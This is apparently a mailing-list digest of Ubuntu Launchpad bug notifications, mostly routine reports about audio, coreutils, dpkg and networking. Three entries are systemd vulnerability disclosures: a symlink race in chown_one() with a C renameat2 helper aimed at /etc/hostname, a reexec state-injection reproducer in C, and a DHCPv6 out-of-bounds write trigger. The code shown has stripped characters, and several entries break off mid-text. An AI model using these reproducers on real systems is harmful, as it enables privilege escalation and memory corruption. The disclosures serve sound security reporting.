[Touch-packages] [Bug 1783200] Re: [Lenovo Miix 310, Ubuntu 18.04] Audio no longer working
[Expired for pulseaudio (Ubuntu) because there has been no activity for 60 days.] ** Changed in: pulseaudio (Ubuntu) Status: Incomplete => Expired -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to pulseaudio in Ubuntu. https://bugs.launchpad.net/bugs/1783200 Title: [Lenovo Miix 310, Ubuntu 18.04] Audio no longer working Status in pulseaudio package in Ubuntu: Expired Bug description: I believe this is a pulseaudio regression, as the output of alsa-info (http://www.alsa- project.org/db/?f=730ab5b8f0499ef58c0e17f67f8f911ba53a011c) looks fine as far as I can see. I'm currently running Ubuntu 18.04, and I believe this is a regression as audio used to work under 17.10. Since upgrading (which fixed a good number of other incompatibilities with the machine), I've had no luck getting audio to work at all. I'm attaching the output of dmesg, 'aplay -l', 'aplay -L' and 'pulseaudio -vv'. If I can provide any other information, or if there's anything you'd like me to try, I'd be happy to help in any way possible. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/pulseaudio/+bug/1783200/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1788060] Re: du program crashes on /var/lib
[Expired for coreutils (Ubuntu) because there has been no activity for 60 days.] ** Changed in: coreutils (Ubuntu) Status: Incomplete => Expired -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to coreutils in Ubuntu. https://bugs.launchpad.net/bugs/1788060 Title: du program crashes on /var/lib Status in coreutils package in Ubuntu: Expired Bug description: We have an Ubuntu 18 installation using xfs file systems user@hostname:~$ df Filesystem 1K-blocks Used Available Use% Mounted on udev 19896400 1989640 0% /dev tmpfs 404008 848403160 1% /run /dev/sda19754624 3083376 6671248 32% / tmpfs20200320 2020032 0% /dev/shm tmpfs 51200 5120 0% /run/lock tmpfs20200320 2020032 0% /sys/fs/cgroup /dev/sda2 11194368 958336 10236032 9% /var tmpfs 4040040404004 0% /run/user/1001 tmpfs 4040040404004 0% /run/user/601005952 du aborts when run in /var and /var/lib, but not in any of the subdirectories of /var/lib I tried rebooting with linux ... init=/bin/bash to run xfs_repair on the /var/file system and it found no errors. After the repair command, I mounted /var and ran du again with no errors. However once I rebooted into the full O/S, du aborted again in /var and /var/lib. The du and sudo du both abort, but non-privileged du also dumps core. ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: coreutils 8.28-1ubuntu1 ProcVersionSignature: Ubuntu 4.15.0-32.35-generic 4.15.18 Uname: Linux 4.15.0-32-generic x86_64 ApportVersion: 2.20.9-0ubuntu7.2 Architecture: amd64 Date: Mon Aug 20 15:26:49 2018 InstallationDate: Installed on 2018-06-11 (69 days ago) InstallationMedia: Ubuntu-Server 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) ProcEnviron: TERM=linux PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=en_CA.UTF-8 SHELL=/bin/bash SourcePackage: coreutils UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/coreutils/+bug/1788060/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1787799] Re: package bsdutils 1:2.31.1-0.4ubuntu3 failed to install/upgrade: package bsdutils is not ready for configuration cannot configure (current status 'half-installed')
[Expired for util-linux (Ubuntu) because there has been no activity for 60 days.] ** Changed in: util-linux (Ubuntu) Status: Incomplete => Expired -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to util-linux in Ubuntu. https://bugs.launchpad.net/bugs/1787799 Title: package bsdutils 1:2.31.1-0.4ubuntu3 failed to install/upgrade: package bsdutils is not ready for configuration cannot configure (current status 'half-installed') Status in util-linux package in Ubuntu: Expired Bug description: Attempted to install idle3 when this error occured ProblemType: Package DistroRelease: Ubuntu 18.04 Package: bsdutils 1:2.31.1-0.4ubuntu3 ProcVersionSignature: Ubuntu 4.15.0-29.31-generic 4.15.18 Uname: Linux 4.15.0-29-generic x86_64 ApportVersion: 2.20.9-0ubuntu7 Architecture: amd64 Date: Sat Aug 18 20:45:10 2018 DpkgTerminalLog: dpkg: error processing package bsdutils (--configure): package bsdutils is not ready for configuration cannot configure (current status 'half-installed') ErrorMessage: package bsdutils is not ready for configuration cannot configure (current status 'half-installed') InstallationDate: Installed on 2018-07-21 (28 days ago) InstallationMedia: Ubuntu 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) Python3Details: /usr/bin/python3.6, Python 3.6.5, python3-minimal, 3.6.5-3ubuntu1 PythonDetails: /usr/bin/python2.7, Python 2.7.15rc1, python-minimal, 2.7.15~rc1-1 RelatedPackageVersions: dpkg 1.19.0.5ubuntu2 apt 1.6.1 SourcePackage: util-linux Title: package bsdutils 1:2.31.1-0.4ubuntu3 failed to install/upgrade: package bsdutils is not ready for configuration cannot configure (current status 'half-installed') UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/util-linux/+bug/1787799/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1796692] Re: chown_one() can dereference symlinks
** Changed in: systemd (Ubuntu)
Importance: Undecided => Medium
--
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1796692
Title:
chown_one() can dereference symlinks
Status in systemd package in Ubuntu:
Confirmed
Bug description:
[I am sending this bug report to Ubuntu, even though it's an upstream
bug, as requested at
https://github.com/systemd/systemd/blob/master/docs/CONTRIBUTING.md#security-vulnerability-reports
.]
When chown_one() in the recursive chown logic decides that it has to change
ownership of a directory entry, it first changes ownership as follows:
if (name)
r = fchownat(fd, name, uid, gid, AT_SYMLINK_NOFOLLOW);
else
r = fchown(fd, uid, gid);
if (r < 0)
return -errno;
So far, this looks good. But then this happens:
/* The linux kernel alters the mode in some cases of chown(). Let's
undo this. */
if (name) {
if (!S_ISLNK(st->st_mode))
r = fchmodat(fd, name, st->st_mode, 0);
else /* There's currently no AT_SYMLINK_NOFOLLOW for
fchmodat() */
r = 0;
} else
r = fchmod(fd, st->st_mode);
This is dangerous, especially in the case where `name != NULL`.
First off: I don't think that the overall objective of this code block makes
sense. Yes, the kernel sometimes changes the mode when ownership is changed -
but that's only for set-UID binaries and set-GID binaries (but not
set-GID directories).
I'm pretty sure that setuid/setgid binaries aren't supposed to appear in these
directories anyway.
The problem here is that, as the comment explains,
`fchmodat(fd, name, st->st_mode, 0)` follows symlinks. The fchmodat() call is
guarded by a `S_ISLNK(st->st_mode)` check, but that's obviously racy and
therefore doesn't actually help.
My recommended fix is to just remove the offending code block. If, for some
crazy reason, you actually want to support changing the ownership of
setuid/setgid binaries, an alternative might be to do something like this:
int fd2 = openat(fd, name, O_PATH|O_NOFOLLOW|O_CLOEXEC);
if (fd2 >= 0) {
fchmod(fd2, st->st_mode);
close(fd2);
}
To reproduce, as root, create a service with "Restart=always",
"StartLimitIntervalSec=0", "StateDirectory=test_service" and "User=user"
(where
"user" is the name of an unprivileged account). Point "ExecStart" at a binary
that immediately exits:
int main(void) {
return 0;
}
Then start the service.
Next, as the user the service is running as, create some entries in
/var/lib/test_service:
user@ubuntu-18-04-vm:~$ cd /var/lib/test_service/
user@ubuntu-18-04-vm:/var/lib/test_service$ touch foo
user@ubuntu-18-04-vm:/var/lib/test_service$ chmod 0666 foo
user@ubuntu-18-04-vm:/var/lib/test_service$ ln -s /etc/hostname foo2
user@ubuntu-18-04-vm:/var/lib/test_service$ ln foo foo_link
user@ubuntu-18-04-vm:/var/lib/test_service$ ls -la
total 8
drwxr-xr-x 2 user user 4096 Okt 8 16:42 .
drwxr-xr-x 67 root root 4096 Okt 8 15:30 ..
-rw-rw-rw- 2 user user0 Okt 8 16:16 foo
lrwxrwxrwx 1 user user 13 Okt 8 16:23 foo2 -> /etc/hostname
-rw-rw-rw- 2 user user0 Okt 8 16:16 foo_link
Create and run a helper that continuously switches "foo" and "foo2" with each
other:
user@ubuntu-18-04-vm:~$ cat exchange.c
#define _GNU_SOURCE
#include
#include
#include
#include
#include
int main(int argc, char **argv) {
char *base = argv[1], *p1 = argv[2], *p2 = argv[3];
if (chdir(base)) err(1, "chdir");
while (1) {
if (syscall(__NR_renameat2, AT_FDCWD, p1, AT_FDCWD, p2, 2))
perror("renameat");
}
}
user@ubuntu-18-04-vm:~$ gcc -o exchange exchange.c -O2
user@ubuntu-18-04-vm:~$ ./exchange /var/lib/test_service foo foo2
Change ownership of "foo_link" and the test_service directory to trigger the
permission fixup logic when the service restarts the next time:
user@ubuntu-18-04-vm:/var/lib/test_service$ chown user:cdrom foo_link .
Check whether it worked:
user@ubuntu-18-04-vm:/var/lib/test_service$ ls -la /etc/hostname .
-rw-r--r-- 1 root root 16 Jul 3 19:20 /etc/hostname
.:
total 8
drwxr-xr-x 2 user user 4096 Okt 8 16:45 .
drwxr-xr-x 67 root root 4096 Okt 8 15:30 ..
lrwxrwxrwx 1 user user 13 Okt 8 16:23 foo -> /etc/hostname
-rw-rw-rw- 2 user user0 Okt 8 16:16 foo2
-rw-rw-rw- 2 user user0 Okt 8 16:16 foo_link
If it didn't work (as in this example), retry the chown a few times. After a
few
times, you should see this:
[Touch-packages] [Bug 1796402] Re: systemd: reexec state injection: fgets() on overlong lines leads to line splitting
** Changed in: systemd (Ubuntu)
Importance: Undecided => Medium
--
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1796402
Title:
systemd: reexec state injection: fgets() on overlong lines leads to
line splitting
Status in systemd package in Ubuntu:
Confirmed
Bug description:
systemd: reexec state injection: fgets() on overlong lines leads to
line splitting
[I am sending this bug report to Ubuntu, even though it's an upstream
bug, as requested at
https://github.com/systemd/systemd/blob/master/docs/CONTRIBUTING.md#security-vulnerability-reports
.]
When systemd re-executes (e.g. during a package upgrade), state is
serialized into a memfd before the execve(), then reloaded after the
execve(). Serialized data is stored as text, with key-value pairs
separated by newlines. Values are escaped to prevent control character
injection.
Lines associated with a systemd unit are read in unit_deserialize()
using fgets():
char line[LINE_MAX], *l, *v;
[...]
if (!fgets(line, sizeof(line), f)) {
if (feof(f))
return 0;
return -errno;
}
LINE_MAX is 2048:
/usr/include/bits/posix2_lim.h:#define LINE_MAX _POSIX2_LINE_MAX
/usr/include/bits/posix2_lim.h:#define _POSIX2_LINE_MAX 2048
When fgets() encounters overlong input, it behaves dangerously. If a
line is more than 2047 characters long, fgets() will return the first
2047 characters and leave the read cursor in the middle of the
overlong line. Then, when fgets() is called the next time, it
continues to read data from offset 2047 in the line as if a new line
started there. Therefore, if an attacker can inject an overlong value
into the serialized state somehow, it is possible to inject extra
key-value pairs into the serialized state.
A service that has `NotifyAccess != none` can send a status message to
systemd that will be stored as a property of the service. When systemd
re-executes, this status message is stored under the key
"status-text".
Status messages that are sent to systemd are received by
manager_dispatch_notify_fd(). This function has a receive buffer of
size NOTIFY_BUFFER_MAX==PIPE_BUF==4096.
Therefore, a service with `NotifyAccess != none` can trigger this bug.
Reproducer:
Create a simple service with NotifyAccess by copying the following
text into /etc/systemd/system/notify_test.service (assuming that your
home directory is /home/user):
=
[Unit]
Description=jannh test service for systemd notifications
[Service]
Type=simple
NotifyAccess=all
FileDescriptorStoreMax=100
User=user
ExecStart=/home/user/test_service
Restart=always
[Install]
WantedBy=multi-user.target
=
Create a small binary that sends an overlong status when it starts up:
=
user@ubuntu-18-04-vm:~$ cat test_service.c
#define _GNU_SOURCE
#include
#include
#include
#include
#include
#include
int main(void) {
int sock = socket(AF_UNIX, SOCK_DGRAM, 0);
if (sock == -1) err(1, "socket");
struct sockaddr_un addr = {
.sun_family = AF_UNIX,
.sun_path = "/run/systemd/notify"
};
if (connect(sock, (struct sockaddr *), sizeof(addr))) err(1,
"connect");
char message[0x2000] = "STATUS=";
memset(message+7, 'X', 2048-1-12);
strcat(message, "main-pid=13371337");
struct iovec iov = {
.iov_base = message,
.iov_len = strlen(message)
};
union {
struct cmsghdr cmsghdr;
char buf[CMSG_SPACE(sizeof(struct ucred))];
} control = { .cmsghdr = {
.cmsg_level = SOL_SOCKET,
.cmsg_type = SCM_CREDENTIALS,
.cmsg_len = CMSG_LEN(sizeof(struct ucred))
}};
struct ucred *ucred = (void*)(control.buf + CMSG_ALIGN(sizeof(struct
cmsghdr)));
ucred->pid = getpid();
ucred->uid = getuid();
ucred->gid = getgid();
struct msghdr msghdr = {
.msg_iov = ,
.msg_iovlen = 1,
.msg_control = ,
.msg_controllen = sizeof(control)
};
if (sendmsg(sock, , 0) != strlen(message)) err(1, "sendmsg");
while (1) pause();
}
user@ubuntu-18-04-vm:~$ gcc -o test_service test_service.c
user@ubuntu-18-04-vm:~$
=
Install the service, and start it. Then run strace against systemd,
and run:
=
root@ubuntu-18-04-vm:~# systemctl daemon-reexec
root@ubuntu-18-04-vm:~# systemctl stop notify_test.service
=
The "stop" command hangs, and you'll see the following in strace:
=
[Touch-packages] [Bug 1795921] Re: Out-of-Bounds write in systemd-networkd dhcpv6 option handling
** Changed in: systemd (Ubuntu)
Importance: Undecided => Medium
--
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1795921
Title:
Out-of-Bounds write in systemd-networkd dhcpv6 option handling
Status in systemd package in Ubuntu:
Confirmed
Bug description:
systemd-networkd contains a DHCPv6 client which is written from
scratch and can be spawned automatically on managed interfaces when
IPv6 router advertisement are received:
"Note that DHCPv6 will by default be triggered by Router Advertisement, if
that is enabled, regardless of this parameter. By enabling DHCPv6 support
explicitly, the DHCPv6 client will be started regardless of the presence of
routers on the link, or what flags the routers pass"
(https://www.freedesktop.org/software/systemd/man/systemd.network.html)
The function dhcp6_option_append_ia function is used to encode Identity
Associations received by the server into the options buffer of an outgoing
DHCPv6 packet:
//
https://github.com/systemd/systemd/blob/master/src/libsystemd-network/dhcp6-option.c#L82
int dhcp6_option_append_ia(uint8_t **buf, size_t *buflen, DHCP6IA *ia) {
uint16_t len;
uint8_t *ia_hdr;
size_t iaid_offset, ia_buflen, ia_addrlen = 0;
DHCP6Address *addr;
int r;
assert_return(buf && *buf && buflen && ia, -EINVAL);
switch (ia->type) {
case SD_DHCP6_OPTION_IA_NA:
len = DHCP6_OPTION_IA_NA_LEN;
iaid_offset = offsetof(DHCP6IA, ia_na);
break;
case SD_DHCP6_OPTION_IA_TA:
len = DHCP6_OPTION_IA_TA_LEN;
iaid_offset = offsetof(DHCP6IA, ia_ta);
break;
default:
return -EINVAL;
}
A: if (*buflen < len)
return -ENOBUFS;
ia_hdr = *buf;
ia_buflen = *buflen;
*buf += sizeof(DHCP6Option);
B: *buflen -= sizeof(DHCP6Option);
C: memcpy(*buf, (char*) ia + iaid_offset, len);
*buf += len;
D: *buflen -= len;
E:LIST_FOREACH(addresses, addr, ia->addresses) {
r = option_append_hdr(buf, buflen, SD_DHCP6_OPTION_IAADDR,
sizeof(addr->iaaddr));
if (r < 0)
return r;
memcpy(*buf, >iaaddr, sizeof(addr->iaaddr));
*buf += sizeof(addr->iaaddr);
*buflen -= sizeof(addr->iaaddr);
ia_addrlen += sizeof(DHCP6Option) + sizeof(addr->iaaddr);
}
r = option_append_hdr(_hdr, _buflen, ia->type, len +
ia_addrlen);
if (r < 0)
return r;
return 0;
}
The function receives a pointer to the option buffer buf, it's remaining size
buflen and the IA to be added to the buffer. While the check at (A) tries to
ensure that the buffer has enough space left to store the IA option, it does
not take the additional 4 bytes from the DHCP6Option header into account (B).
Due to this the memcpy at (C) can go out-of-bound and *buflen can underflow in
(D) giving an attacker a very powerful and largely controlled OOB heap write
starting at (E).
The overflow can be triggered relatively easy by advertising a DHCPv6
server with a server-id >= 493 characters long. This will trigger the
following code once the client tries to create a REQUEST message:
//https://github.com/systemd/systemd/blob/7bcf8123c0305131ace02480763377af974924ef/src/libsystemd-network/sd-dhcp6-client.c#L493
case DHCP6_STATE_REQUEST:
case DHCP6_STATE_RENEW:
if (client->state == DHCP6_STATE_REQUEST)
message->type = DHCP6_REQUEST;
else
message->type = DHCP6_RENEW;
A: r = dhcp6_option_append(, ,
SD_DHCP6_OPTION_SERVERID,
client->lease->serverid_len,
client->lease->serverid);
if (r < 0)
return r;
if (FLAGS_SET(client->request, DHCP6_REQUEST_IA_NA)) {
B: r = dhcp6_option_append_ia(, ,
>lease->ia);
if (r < 0)
return r;
}
optlen starts with the value 512 and gets decreased to 15 (512 - 493 -
4) after the call in A. As 15 > DHCP6_OPTION_IA_NA_LEN but 15 <
(DHCP6_OPTION_IA_NA_LEN + 4) this triggers the memory corruption:
# journalctl -u systemd-networkd
Oct 03 14:27:50 ubuntu18 systemd-networkd[45095]: malloc(): memory corruption
Oct 03 14:27:50 ubuntu18 systemd[1]: systemd-networkd.service: Main process
exited,
Re: [Touch-packages] [Bug 1799869] Re: ubuntu-bug (a.k.a. apport-bug) not working in Xubuntu
The web page that came up in launchpad had this text: Oops! Sorry, something just went wrong in Launchpad. We’ve recorded what happened, and we’ll fix it as soon as possible. Apologies for the inconvenience. (Error ID: OOPS-4b44b611263a8da39faa7fc2c107f7b5) Return to the Launchpad front page = The URL showing in the address bar was https://launchpad.net/+openid-callback?starting_url=https%3A%2F%2Fbugs.launchpad.net%2Fubuntu%2F%2Bsource%2Fapport%2F%2Bfilebug%2F80805f9a-d982-11e8-a96e-68b5996a96c8_nonce=2018-10-27T00%3A51%3A57ZD4LBJU_handle=%7BHMAC-SHA1%7D%7B5bd06147%7D%7BcxPA0A%3D%3D%7D_id=https%3A%2F%2Flogin.launchpad.net%2F%2Bid%2FQ3Yf8Tz=https%3A%2F%2Flogin.launchpad.net%2F%2Bid%2FQ3Yf8Tz=id_res=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0=http%3A%2F%2Fopenid.net%2Fextensions%2Fsreg%2F1.1_endpoint=https%3A%2F%2Flogin.launchpad.net%2F%2Bopenid_nonce=2018-10-27T00%3A52%3A00Z5ldJxi_to=https%3A%2F%2Flaunchpad.net%2F%2Bopenid-callback%3Fstarting_url%3Dhttps%253A%252F%252Fbugs.launchpad.net%252Fubuntu%252F%252Bsource%252Fapport%252F%252Bfilebug%252F80805f9a-d982-11e8-a96e-68b5996a96c8%26janrain_nonce%3D2018-10-27T00%253A51%253A57ZD4LBJU=Pkeqb%2FjEyVVzMpaCIpmI%2BJXFBhc%3D=assoc_handle%2Cclaimed_id%2Cidentity%2Cmode%2Cns%2Cns.sreg%2Cop_endpoint%2Cresponse_nonce%2Creturn_to%2Csigned%2Csreg.email%2Csreg.fullname=kevinogorman4%40gmail.com=Kevin+O%27Gorman On Wed, Oct 24, 2018 at 9:05 PM Simon Quigley wrote: > This very likely seems like a Launchpad problem, not an apport problem. > > Do you recall the exact text used? > > ** Changed in: apport (Ubuntu) >Status: New => Incomplete > > -- > You received this bug notification because you are subscribed to the bug > report. > https://bugs.launchpad.net/bugs/1799869 > > Title: > ubuntu-bug (a.k.a. apport-bug) not working in Xubuntu > > Status in apport package in Ubuntu: > Incomplete > > Bug description: > Sorry for using Ubuntu to report an Xubuntu bug, but the problem is > exactly that bug reporting is not working for me in Xubuntu. When I > tried to create what eventually became bug 1799868 here on Xubuntu, as > soon as the web browser (Chrome) came up, it waas reporting a problem > in Launchpad ad said it would soon be fixed. After a week, I tried > the same thing on Ubnutu and reported the bug there a few minutes ago. > > It fails the same way on both > ubuntu-bug apport > ubutnu-bug coreutils > > I'm sure there's info you want about the failing system: at least > including > - Xubuntu 18.04.1, 64-bit all up-to-date > Core i7 > 32GB RAM > If there's anything else, let me know. > > ProblemType: Bug > DistroRelease: Ubuntu 18.04 > Package: apport 2.20.9-0ubuntu7.4 > ProcVersionSignature: Ubuntu 4.15.0-36.39-generic 4.15.18 > Uname: Linux 4.15.0-36-generic x86_64 > NonfreeKernelModules: nvidia_modeset nvidia > ApportVersion: 2.20.9-0ubuntu7.4 > Architecture: amd64 > CurrentDesktop: ubuntu:GNOME > Date: Wed Oct 24 20:38:19 2018 > PackageArchitecture: all > SourcePackage: apport > UpgradeStatus: Upgraded to bionic on 2018-08-19 (66 days ago) > modified.conffile..etc.default.apport: [modified] > mtime.conffile..etc.default.apport: 2017-05-02T14:12:29.908000 > > To manage notifications about this bug go to: > > https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1799869/+subscriptions > -- Kevin O'Gorman #define QUESTION ((bb) || (!bb)) /* Shakespeare */ Please consider the environment before printing this email. ** Attachment added: "unnamed" https://bugs.launchpad.net/bugs/1799869/+attachment/5206101/+files/unnamed -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to apport in Ubuntu. https://bugs.launchpad.net/bugs/1799869 Title: ubuntu-bug (a.k.a. apport-bug) not working in Xubuntu Status in apport package in Ubuntu: Incomplete Bug description: Sorry for using Ubuntu to report an Xubuntu bug, but the problem is exactly that bug reporting is not working for me in Xubuntu. When I tried to create what eventually became bug 1799868 here on Xubuntu, as soon as the web browser (Chrome) came up, it waas reporting a problem in Launchpad ad said it would soon be fixed. After a week, I tried the same thing on Ubnutu and reported the bug there a few minutes ago. It fails the same way on both ubuntu-bug apport ubutnu-bug coreutils I'm sure there's info you want about the failing system: at least including - Xubuntu 18.04.1, 64-bit all up-to-date Core i7 32GB RAM If there's anything else, let me know. ProblemType: Bug DistroRelease: Ubuntu 18.04 Package: apport 2.20.9-0ubuntu7.4 ProcVersionSignature: Ubuntu 4.15.0-36.39-generic 4.15.18 Uname: Linux 4.15.0-36-generic x86_64 NonfreeKernelModules: nvidia_modeset nvidia ApportVersion: 2.20.9-0ubuntu7.4 Architecture: amd64
[Touch-packages] [Bug 1800246] [NEW] /usr/bin/jackdbus:7:CAS:Jack::JackAtomicState:Jack::JackAtomicState:Jack::JackGraphManager::InitRefNum:Jack::JackEngine::ClientInternalOpen
Public bug reported: The Ubuntu Error Tracker has been receiving reports about a problem regarding jackd2. This problem was most recently seen with package version 1.9.10+20150825git1ed50c92~dfsg-1ubuntu1, the problem page at https://errors.ubuntu.com/problem/00ca8ce75fb0d20b6bab4cb4d86ef77647a68f65 contains more details, including versions of packages affected, stacktrace or traceback, and individual crash reports. If you do not have access to the Ubuntu Error Tracker and are a software developer, you can request it at http://forms.canonical.com/reports/. ** Affects: jackd2 (Ubuntu) Importance: Undecided Status: New ** Tags: xenial -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to jackd2 in Ubuntu. https://bugs.launchpad.net/bugs/1800246 Title: /usr/bin/jackdbus:7:CAS:Jack::JackAtomicState:Jack::JackAtomicState:Jack::JackGraphManager::InitRefNum:Jack::JackEngine::ClientInternalOpen Status in jackd2 package in Ubuntu: New Bug description: The Ubuntu Error Tracker has been receiving reports about a problem regarding jackd2. This problem was most recently seen with package version 1.9.10+20150825git1ed50c92~dfsg-1ubuntu1, the problem page at https://errors.ubuntu.com/problem/00ca8ce75fb0d20b6bab4cb4d86ef77647a68f65 contains more details, including versions of packages affected, stacktrace or traceback, and individual crash reports. If you do not have access to the Ubuntu Error Tracker and are a software developer, you can request it at http://forms.canonical.com/reports/. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/jackd2/+bug/1800246/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1797714] Re: [Dell Studio 1557] No sound after upgrade to Kubuntu 18.10 beta
*** This bug is a duplicate of bug 210472 *** https://bugs.launchpad.net/bugs/210472 I can confirm, working sound on a Thinkpad T530 using snd-hda-intel kernel driver stopped working after upgrade from Kubuntu 18.04 to Kubuntu 18.10. => sudo apt purge timidity-daemon resolved the issue for me permanently. Doing a sudo alsa force-reload also worked, but only until the next reboot. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to pulseaudio in Ubuntu. https://bugs.launchpad.net/bugs/1797714 Title: [Dell Studio 1557] No sound after upgrade to Kubuntu 18.10 beta Status in pulseaudio package in Ubuntu: Confirmed Bug description: I upgraded from Kubuntu 18.04 to 18.10 beta today, and I noticed I don't have sounds. The UI only shows a 'Dummy Device'. After doing a 'sudo alsa force-reload', KDE shows the audio device. When I execute alsamixer in a shell before executing the force-reload, the audio card is shown. My hardware: (from lspci) 00:1b.0 Audio device: Intel Corporation 5 Series/3400 Series Chipset High Definition Audio (rev 05) ProblemType: Bug DistroRelease: Ubuntu 18.10 Package: pulseaudio 1:12.2-0ubuntu4 Uname: Linux 4.19.0-041900rc6-generic x86_64 ApportVersion: 2.20.10-0ubuntu11 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: juergen8924 F pulseaudio /dev/snd/controlC1: juergen8924 F pulseaudio CurrentDesktop: KDE Date: Sat Oct 13 21:07:53 2018 InstallationDate: Installed on 2015-02-16 (1334 days ago) InstallationMedia: Kubuntu 12.10 "Quantal Quetzal" - Release amd64 (20121017.1) SourcePackage: pulseaudio UpgradeStatus: Upgraded to cosmic on 2018-10-13 (0 days ago) dmi.bios.date: 10/06/2009 dmi.bios.vendor: Dell Inc. dmi.bios.version: A02 dmi.board.name: 0KM426 dmi.board.vendor: Dell Inc. dmi.board.version: A02 dmi.chassis.type: 8 dmi.chassis.vendor: Dell Inc. dmi.chassis.version: A02 dmi.modalias: dmi:bvnDellInc.:bvrA02:bd10/06/2009:svnDellInc.:pnStudio1557:pvrA02:rvnDellInc.:rn0KM426:rvrA02:cvnDellInc.:ct8:cvrA02: dmi.product.name: Studio 1557 dmi.product.version: A02 dmi.sys.vendor: Dell Inc. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/pulseaudio/+bug/1797714/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
Re: [Touch-packages] [Bug 1800055] Re: iwd does not work with network manager
Will Cooke <1800...@bugs.launchpad.net> writes: > Just so I understand, did you try and rebuild n-m with iwd enabled, or > did you try and enable it at run time? The latter. -- James -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to network-manager in Ubuntu. https://bugs.launchpad.net/bugs/1800055 Title: iwd does not work with network manager Status in network-manager package in Ubuntu: Confirmed Bug description: I configured network manager to use iwd, unfortunately it doesn't work: Oct 25 15:12:23 malefic NetworkManager[17004]: [1540501943.4358] device (wlp4s0): state change: unmanaged -> unavailable (reason 'managed', sys-iface-state: 'external') Oct 25 15:12:23 malefic NetworkManager[17004]: g_variant_get_type: assertion 'value != NULL' failed Oct 25 15:12:23 malefic NetworkManager[17004]: g_variant_type_is_subtype_of: assertion 'g_variant_type_check (type)' failed Oct 25 15:12:23 malefic NetworkManager[17004]: g_variant_get_boolean: assertion 'g_variant_is_of_type (value, G_VARIANT_TYPE_BOOLEAN)' failed Oct 25 15:12:23 malefic NetworkManager[17004]: g_variant_unref: assertion 'value != NULL' failed Oct 25 15:12:23 malefic NetworkManager[17004]: g_variant_get_string: assertion 'value != NULL' failed Oct 25 15:12:23 malefic NetworkManager[17004]: [1540501943.7492] device (wlp4s0): new IWD device state is (null) Oct 25 15:12:23 malefic NetworkManager[17004]: [1540501943.7492] device (wlp4s0): State (null) unknown Oct 25 15:12:23 malefic NetworkManager[17004]: g_variant_unref: assertion 'value != NULL' failed Oct 25 15:12:23 malefic NetworkManager[17004]: g_dbus_proxy_call_internal: assertion 'G_IS_DBUS_PROXY (proxy)' failed Oct 25 15:12:23 malefic NetworkManager[17004]: g_object_unref: assertion 'G_IS_OBJECT (object)' failed To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/network-manager/+bug/1800055/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1781699] Re: DHCPv6 server crashes regularly (bionic)
The bug is not present in 16.10 (yakkety, isc-dhcp- server=4.3.3-5ubuntu15.2). It is present in 17.10, 18.04 (isc-dhcp- server=4.3.5-3ubuntu7) and 18.10 (isc-dhcp-server=4.3.5-3ubuntu9). Not sure about 17.04. ** Bug watch added: Debian Bug tracker #896122 https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=896122 ** Also affects: isc-dhcp (Debian) via https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=896122 Importance: Unknown Status: Unknown ** Bug watch added: Red Hat Bugzilla #1641246 https://bugzilla.redhat.com/show_bug.cgi?id=1641246 ** Also affects: isc-dhcp (Fedora) via https://bugzilla.redhat.com/show_bug.cgi?id=1641246 Importance: Unknown Status: Unknown -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to isc-dhcp in Ubuntu. https://bugs.launchpad.net/bugs/1781699 Title: DHCPv6 server crashes regularly (bionic) Status in isc-dhcp package in Ubuntu: Confirmed Status in isc-dhcp package in Debian: Unknown Status in isc-dhcp package in Fedora: Unknown Bug description: The isc-dhcp-server crashes regularly on bionic, sometimes directly after boot, sometimes later. The version installed is 4.3.5-3ubuntu7. journalctl shows: Jul 14 09:35:11 dhcpd[1543]: Solicit message from fe80::18eb:dfc7:17e5:c8d7 port 546, transaction ID 0x7E8EC00 Jul 14 